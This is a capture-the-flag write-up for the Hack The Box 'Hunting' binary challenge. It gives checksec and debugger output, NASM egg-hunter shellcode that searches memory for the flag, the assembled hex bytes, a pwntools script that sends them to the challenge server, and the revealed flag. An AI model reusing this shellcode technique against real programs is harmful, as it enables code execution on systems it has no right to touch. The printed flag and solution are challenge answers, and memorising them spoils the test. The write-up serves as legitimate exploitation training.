

Hunting

This is a write up for <https://app.hackthebox.com/challenges/Hunting>

1) Checked Security

```
(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ checksec hunting_patched
[*] '/home/vigneswar/Pwn/Hunting/pwn_hunting/hunting_patched'
Arch:      i386-32-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       PIE enabled
Stack:     Executable
RWX:       Has RWX segments
```

The binary is obfuscated, so not possible to statically analyse the code

2) Dynamic Analysis

```
(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ python3 solve.py
$
```

```
$flags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow res
ume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
----- stack -----
0xffc98370|+0x0000: 0xf7d146ac → 0x0021e04c ← $esp
0xffc98374|+0x0004: 0xf7f26000 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
n"
0xffc98378|+0x0008: 0x00000000
0xffc9837c|+0x000c: 0x00000000
0xffc98380|+0x0010: 0xffc983a0 → 0x00000001
0xffc98384|+0x0014: 0xf7f10ff4 → 0x0021dd8c
0xffc98388|+0x0018: 0x00000000 ← $ebp
0xffc9838c|+0x001c: 0xf7d167c5 → add esp, 0x10
----- code:x86:32 -----
0x565fe53c      add     esp, 0x10
0x565fe53f      mov     DWORD PTR [esp+0xc], 0x0
0x565fe547      mov     eax, DWORD PTR [ebp-0x14]
→ 0x565fe54a      call    eax
0x565fe54c      mov     eax, 0x0
0x565fe551      lea     esp, [ebp-0x8]
0x565fe554      pop     ecx
0x565fe555      pop     ebx
0x565fe556      pop     ebp
----- arguments (guessed) -----
*0xfffffffff7f26000 (
  [sp + 0x0] = 0xf7d146ac → 0x0021e04c,
  [sp + 0x4] = 0xf7f26000 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
n",
  [sp + 0x8] = 0x00000000
)
----- threads -----
[#0] Id 1, Name: "hunting_patched", stopped 0x565fe54a in ?? (), reason: SING
LE STEP
----- trace -----
[#0] 0x565fe54a → call eax
[#1] 0xf7d167c5 → add esp, 0x10
[#2] 0xf7d16888 → __libc_start_main()
[#3] 0x565fe235 → hlt
gef>
```

It executes our input, so we need to make a shellcode to print flag

```
(vigneswar@VigneswarPC)~[/Pwn/Hunting/pwn_hunting]
$ python3 solve.py
$
```

\$esp	: 0xffeb5950	→ 0x00000000
\$ebp	: 0xffeb5978	→ 0x00000000
\$esi	: 0x5663d560	→ endbr32
\$edi	: 0xf7fd2ba0	→ 0x00000000
\$eip	: 0x5663d53c	→ add esp, 0x10

\$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow res
ume virtualx86 identification]
\$cs: 0x23 \$ss: 0x2b \$ds: 0x2b \$es: 0x2b \$fs: 0x00 \$gs: 0x63

stack			
0xffeb5950	+0x000:	0x00000000	+ \$esp
0xffeb5954	+0x004:	0xf7f97000	→ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
			n"
0xffeb5958	+0x008:	0x0000003c	("<"?)
0xffeb595c	+0x00c:	0x5663d510	→ sub esp, 0x8
0xffeb5960	+0x010:	0xf7d856ac	→ 0x0021e04c
0xffeb5964	+0x014:	0xf7f97000	→ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
			n"
0xffeb5968	+0x018:	0x00000000	
0xffeb596c	+0x01c:	0x67c40000	→ "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

We can also see flag being stored

3) Note

- i) The flag is stored in a memory location that we dont know
- ii) We can run our shell code

4) Egg hunters

<https://medium.com/@chaudharyaditya/slae-0x3-egg-hunter-shellcode-6fe367be2776>

```
global _start

section .text

_start:
    ; initial setup
    xor eax, eax
    mov edx, "HTB{"
    mov edi, 0x6ea40000

find:
    ; increment address
    add edi, 0x10000

    ; check if the address is valid
    pusha
    lea ebx, [edi]
    xor ecx, ecx
    mov al, 33
    int 0x80
    cmp al, 0xf2
    popa
    jz find

    ; check if address contains flag
    cmp dword [edi], edx
    jne find

    ; print the flag
    mov eax, 4
    mov ebx, 1
    mov ecx, edi
    mov edx, 36
    int 0x80
```

5) Made shellcode

```

(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ nasm -f elf32 hunt.asm

(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ ld -m elf_i386 -o hunt hunt.o

(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ python3 shellcode.py
[*] '/home/vigneswar/Pwn/Hunting/pwn_hunting/hunt'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
31c0ba4854427bbf0000a46e81c700000100608d1f31c9b021cd803cf26174ec391775e8b8040000bb0100000089f9ba24000000cd80

```

```

31c0ba4854427bbf0000a46e81c700000100608d1f31c9b021cd803cf26174ec391775e8b8040000bb0100000089f9ba24000000cd80

```

6) Exploit

```

#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./hunting_patched")
context.binary = exe

io = remote('94.237.58.211', 30179)
# io = process([exe.path])
# gdb.attach(io, gdbscript='fin\n'*2+'ni\n'*3)
io.sendline(unhex('31c0ba4854427bbf0000a46e81c700000100608d1f31c9b021cd803cf26174ec391775e8b804000000bb0100000089f9ba24000000cd80'))

io.interactive()

```

7) Flag

```

(vigneswar@VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ python3 solve.py
HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}timeout: the monitored command dumped core
Segmentation fault
$ █

```